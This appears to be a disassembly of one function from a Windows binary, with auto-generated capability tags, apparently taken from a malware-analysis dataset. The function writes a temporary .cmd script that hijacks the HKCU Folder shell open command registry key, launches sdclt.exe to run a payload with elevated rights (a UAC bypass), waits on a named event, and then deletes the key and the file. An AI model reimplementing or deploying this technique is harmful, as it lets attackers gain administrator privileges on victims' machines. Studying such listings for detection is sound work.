Function at 0x140002810
Capabilities:
Create process on windows
Delete file
Delete registry key
Get common file path
Persist via default file association registry key
Set registry value
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x138
mov edx, 0x2710
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002c7e
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140002c73
mov rdx, qword [rsp + 0x58]
mov ecx, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jbe 0x140002c68
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140002c68
lea rax, str.E32DDF48_A14C_45EB_95EB_9E61D898B449
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x58]
lea r8, str._s_s.cmd
mov edx, 0x7fff
mov rcx, qword [rsp + 0x60]
call fcn.14004f7cc
mov qword [rsp + 0x68], 0xffffffffffffffff
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0xffffffffffffffff
je 0x140002c5d
lea rax, str.D1EAF6D7_37CC_4099_9804_109D105C8C04
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x140]
lea r8, str.reg_add__HKCUSoftwareClassesFolder_shellopencommand___d__cmd.exe__c___S___S___f__reg_add__HKCUSoftwareClassesFolder_shellopencommand___v__DelegateExecute___f
mov edx, 0x7fff
mov rcx, qword [rsp + 0x50]
call fcn.14004ffb8
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [rsp + 0x74], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x70]
mov r8d, dword [rsp + 0x74]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x68], 0xffffffffffffffff
mov eax, dword [rsp + 0x74]
cmp dword [rsp + 0x70], eax
jne 0x140002c3f
mov dword [rsp + 0x28], 6
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, qword [rsp + 0x60]
lea rdx, [0x140067e70]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 0x20
jbe 0x140002c3f
lea r9, str.44E646F8_6262_479D_8F7C_8DF601BC5747
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
je 0x140002c20
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
je 0x140002c20
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
je 0x140002c12
mov edx, 0x7fff
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x140002c04
mov r9, qword [rsp + 0x88]
lea r8, str._scmd.exe__c_sdclt.exe
mov edx, 0x7fff
mov rcx, qword [rsp + 0x80]
call fcn.14004f7cc
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xb0]
call fcn.14004f6e0
mov dword [rsp + 0xb0], WSASetLastError
mov dword [rsp + 0xec], 1
xor eax, eax
mov word [rsp + 0xf0], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x140002c04
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x128], 0
mov dword [rsp + 0x120], 0
cmp dword [rsp + 0x120], 0xa
jge 0x140002b8b
lea r8, str.1AB4B1DA_C681_4EA1_B26E_D540A95C9846
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenEventW]
mov qword [rsp + 0x128], rax
cmp qword [rsp + 0x128], 0
je 0x140002b6e
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002b8b
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rsp + 0x120]
inc eax
mov dword [rsp + 0x120], eax
jmp 0x140002b2d
cmp qword [rsp + 0x128], 0
je 0x140002c04
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x140067e80]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov eax, 1
jmp 0x140002c80
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.SoftwareClassesFolder_shellopencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp qword [rsp + 0x68], 0xffffffffffffffff
je 0x140002c52
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x138
ret